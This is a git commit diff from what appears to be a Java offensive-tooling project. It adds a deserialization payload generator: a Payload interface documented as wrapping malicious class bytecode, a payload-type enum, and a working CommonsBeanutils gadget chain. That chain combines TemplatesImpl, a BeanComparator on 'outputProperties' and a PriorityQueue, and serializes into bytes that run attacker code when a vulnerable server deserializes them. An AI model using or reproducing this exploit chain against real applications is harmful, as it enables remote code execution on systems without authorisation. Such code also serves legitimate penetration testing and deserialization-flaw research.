refactor: deserialize

This commit is contained in:
ReaJason
2024-12-14 19:34:06 +08:00
parent 8a709a1f23
commit 51342c36ad
11 changed files with 206 additions and 47 deletions
File diff suppressed because one or more lines are too long
@@ -0,0 +1,12 @@
package com.reajason.javaweb.deserialize;
import lombok.Data;
/**
* @author ReaJason
* @since 2024/12/13
*/
@Data
public class DeserializeConfig {
private PayloadType payloadType;
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.deserialize;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class DeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.flush();
oos.close();
return baos.toByteArray();
}
}
@@ -0,0 +1,15 @@
package com.reajason.javaweb.deserialize;
/**
* @author ReaJason
* @since 2024/12/13
*/
public interface Payload {
/**
* 将恶意类字节流封装成序列化对象
*
* @param bytes 恶意类字节流
* @return 序列化对象
*/
Object generate(byte[] bytes);
}
@@ -0,0 +1,31 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
import lombok.Getter;
/**
* @author ReaJason
* @since 2024/12/13
*/
@Getter
public enum PayloadType {
/**
* CB 链
*/
CommonsBeanutils19(new CommonsBeanutils19());
private final Payload payload;
PayloadType(Payload payload) {
this.payload = payload;
}
public static PayloadType getPayloadType(String payloadType) {
for (PayloadType value : values()) {
if (value.name().equals(payloadType)) {
return value;
}
}
throw new IllegalArgumentException("unknown payload type: " + payloadType);
}
}
@@ -0,0 +1,28 @@
package com.reajason.javaweb.deserialize.payload;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
/**
* @author ReaJason
* @since 2024/12/3
*/
public class CommonsBeanutils19 implements Payload {
@Override
@SneakyThrows
public Object generate(byte[] bytes) {
Object obj = TemplateUtils.createTemplatesImpl(bytes);
final BeanComparator<Object> comparator = new BeanComparator<>(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
}
@@ -1,6 +1,6 @@
package com.reajason.javaweb.deserialize.utils;
import com.reajason.javaweb.deserialize.CommonsBeanutils19;
import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
import java.lang.reflect.Field;